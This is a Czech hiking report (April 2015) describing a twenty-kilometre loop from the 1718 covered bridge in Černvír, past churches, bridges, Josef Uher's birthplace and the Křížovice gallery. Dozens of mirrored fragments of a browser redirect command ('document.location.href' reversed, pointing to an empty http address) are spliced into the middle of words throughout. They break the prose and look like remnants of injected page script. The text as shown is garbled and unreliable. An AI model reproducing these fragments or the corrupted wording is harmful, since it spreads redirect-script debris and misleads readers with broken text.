Rainbow page separator

Od trámového mostu přes Svratku Sýkořským lesem

Sobota, 11. dubna 2015

Podléšky nad Ochozem

Černvír / Dvacetikilometrový výšlap začíná v Černvíru v okrese Brno-venkov v Jihomoravském kraji. Ze Žďáru tam vede nejkratší cesta po silnici I/19 přes Nové Měs[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];to na Moravě a Bystřici nad Pernštejnem, odtud pak přes Věchnov, Kovářovou a Nedvědici, což je celkem osmatřicet kilometrů.
V Černvíru zaparkujeme u his[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];torického krytého trámového mostu přes řeku Svratku z roku 1718. Ta[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];to pozoruhodná technická památka je dvaatřicet metrů dlouhá a 2,6 metrů široká a představuje nejstarší objekt svého druhu na Moravě.
V obci s[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tojí za povšimnutí rovněž kostel Nanebevzetí Panny Marie, který se rozkládá na místě archeologicky doloženého románského kostela, jenž kdysi patřil k opevněnému sídlu na ostrohu nad řekou. Tamní barokní oltář pochází ze zrušeného kostela v zaniklé obci Mušov na jižní Moravě, která byla v 80. letech minulého s[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];toletí zaplavena přehradou Nové Mlýny. Samotný bývalý kostel svatého Linharta byl nakonec zachován, dnes s[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tojí na malém ostrůvku uprostřed Věs[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tonické nádrže (Nové Mlýny II), patří mezi kulturní památky České republiky, není však běžně přístupný.

Černvír - krytá lávkaKostel v Černvíru bývá otevřen příleži[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tostně, především o svátcích, například v rámci tradičních červencových Slavností Pernštejnského panství s centrem v sousední Nedvědici. Do areálu hřbi[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tova se vstupuje vedlejším vstupem ve štítu kostela.
V Černvíru od trámového mostu zamíříme směrem k železničnímu přejezdu, kde je umístěn rozcestník turistických stezek, a dáme se po červené značce. Ta nás po kilometru dovede k rozcestníku Pod Křížovicemi, odkud pak trasa pokračuje nejdříve lesem a pak po silnici kolem řeky Svratky až do Doubravníka. Městys po půldruhém kilometru chůze mineme jenom jeho okrajem, ale i tak je možné při cestě obdivovat tamní kostel Povýšení svatého Kříže. S[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tojí na místě původního kostela zaniklého kláštera augustiniánek, který byl založen kolem roku 1230, a je chráněn jako kulturní památka České republiky. Stávající sva[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tostánek byl postaven v letech 1535–1557 a pod presbytářem byla zřízena pernštejnská hrobka. Poslední velká úprava doubravnického kostela proběhla v letech 1859–1867, kdy nechal hrabě Vladimír Mitrovský, majitel tamního panství, přistavět k severozápadní stěně trojlodí hrobku [„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];toho[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];to šlechtického rodu.
Trasa se dál z Doubravníka vine dál dva kilometry kolem řeky až do malé osady Prudká. Ta je známá především papírnou naproti železniční zastávce, odkud vede do [„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];továrny most. Známé je i nedaleké rekreační středisko a his[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];torická krytá dřevěná lávka přes Svratku. Ta je již poněkud ošuntělá, nicméně funkční, takže přes ni směřuje turistické značení.

Svratka pod tratí a Sokolí skálouNad údolím se tyčí zalesněný masiv Sokolí skála, pod nímž se vine železniční trať Tišnovka, která byla postavena a zprovozněna v roce 1905, a ještě níže protéká řeka Svratka, podél níž procházíme další dva a půl kilometru cesty. Dorazíme do Borače a přes unikátní silniční železný most přejdeme do části vesnice Podolí. Most vznikl v roce 1910 a původní tabulky připevněné na zábradlí technické památky dokládají, že byla postavena nákladem silničního výboru okresu Tišnovského za předsedy F. Životského mostárnou Mor. Slezské železářské společnosti v Přívoze roku 1910, dovolené je zatížení mostu vozem o váze 800 kilogramů, parním válcem 14 000 kilogramů, tlačenicí lidí 400 kilogramů pro metr čtvereční, přičemž rychlá jízda je zakázána, a most byl postaven za úřadování starosty P. Uhra.

Most přes řeku Svratku mezi Boračí a PodolímZa mostem „přes[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];toupíme“ z červené na zelenou turistickou značku, která míří do dva kilometry vzdáleného Veselí. Čeká nás prudké s[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];toupání v podobě asi tří set výškových metrů, a [„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];to nejdříve okrajem obce kolem rodného domu spisovatele Josefa Uhra a pak lesem. Ten[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];to úsek cesty zároveň patří k vycházkovým trasám obce Borač a je označen jako trasa Josefa Uhra.
Tamní nejvýznamnější rodák se v místní části Borače Podolí narodil v roce 1880. Uher se coby syn nemajetného tkalce ve snaze uniknout chudobě dostal na studia do brněnského učitelského ústavu a stal se učitelem. Při studiích si přivydělával psaním básniček, jež posílal do časopisů. Ve dvaceti letech začal učit na různých místech Brněnska, nicméně se u něj projevila tuberkulóza a po dalších pěti letech už kvůli nemoci nebyl schopen dál učit a byl dočasně dán na odpočinek. Začal psát povídky o takzvaných vyděděncích společnosti, přičemž ty[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];to texty byly ovlivněny jeho steskem nad vlastním životem poznamenaným chudobou a nemocí. Později byl ten[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];to styl nazván bosáckou literaturou. Josef Uher, ačkoliv se snažil léčit, tuberkulóze ve svých osmadvaceti letech podlehl, pochován byl v Brně.

Poté, co od Uhrova rodného domku s jeho vzpomínkovou plake[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tou vys[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];toupáme lesem až k rozcestníku Veselí, přejdeme na žlu[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tou turistickou značku, která směřuje do 8,5 kilometru vzdálených Křížovic. Nejdříve ale vyjdeme k nejvyššímu okolnímu bodu, což je Veselský chlum ve výšce 578 metrů nad mořem.
Veselský chlum je zajímavý především malebnými mozaikami políček, sadů a pastvin, které představují dochovanou ukázku tradičního obdělávání chudých kamenitých půd, jež rozčleňují zídky poskládané z plochého rulového kamení. Lokalita je součástí sítě zvláště chráněných území v rámci přírodního parku Svratecká hornatina. Z Veselského chlumu se rovněž můžeme pokochat rozhledy na všechny svě[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tové strany, dominan[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tou kopce je zdaleka viditelný vysílač. Žlutá turistická značka nás pak z kopce dovede do tři kilometry vzdálené vesnice Ochoz u Tišnova.
Písemná zmínka z roku 1234 potvrzuje Ochoz jako součást majetku kláštera Porta Coeli v Předklášteří u Tišnova. Dominan[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tou vsi o s[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tovce obyvatel je kaple svatého Františka z Assisi. Její základní kámen byl položen v roce 1876, v roce 2005 se uskutečnila kompletní rekonstrukce objektu.

Podléšky nad OchozemŽlutá značka z vesnice poté s[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];toupá dál mezi lesy kolem přírodní památky Dobrá studně, přírodní rezervace Pod sýkořskou myslivnou a přírodní památky Míchovec, na jejímž vrcholu ve výšce 600 metrů nad mořem jsou brzy na jaře k vidění koberce rozkvetlých sněženek. Po pěti kilometrech dojdeme do Křep[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tova, místní části obce Běleč. Odtud jsou [„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];to pak ještě necelé dva kilometry do Křížovic.

Křížovice jsou vysoko položenou osadou, místní částí městyse Doubravník. Známé jsou především díky Galerii z ruky brněnského sochaře Zdeňka Macháčka, který se proslavil například svými dřevěnými plastikami – stálá expozice je přístupná celou sezonu. Ta trvá od dubna do září, pro[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tože výstavní pros[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];tory se nacházejí v bývalé s[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];todole. V galerii se v létě konají různé kulturní akce, vernisáže au[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];torských výstav, literární večery a podobně. V srpnu v galerii již po dlouhou řádku let bývá výstava obrázků a hraček pro děti, kterou doprovázejí víkendové hrané pohádky. Galerie se orientuje na moderní umění, vystavují se tam a prodávají obrazy, sochy, skleněné objekty, grafiky, šperky, hedvábné šátky, kabelky i keramika.
Z Křížovic ses[„\’///:ptth\’=ferh.noitacol.tnemucod“];[„\’///:ptth\’=ferh.noitacol.tnemucod“];toupíme kilometr po modré značce k rozcestníku Pod Křížovicemi a odtud už nám zpět do Černvíru zbývá jenom kilometr po červeném značení.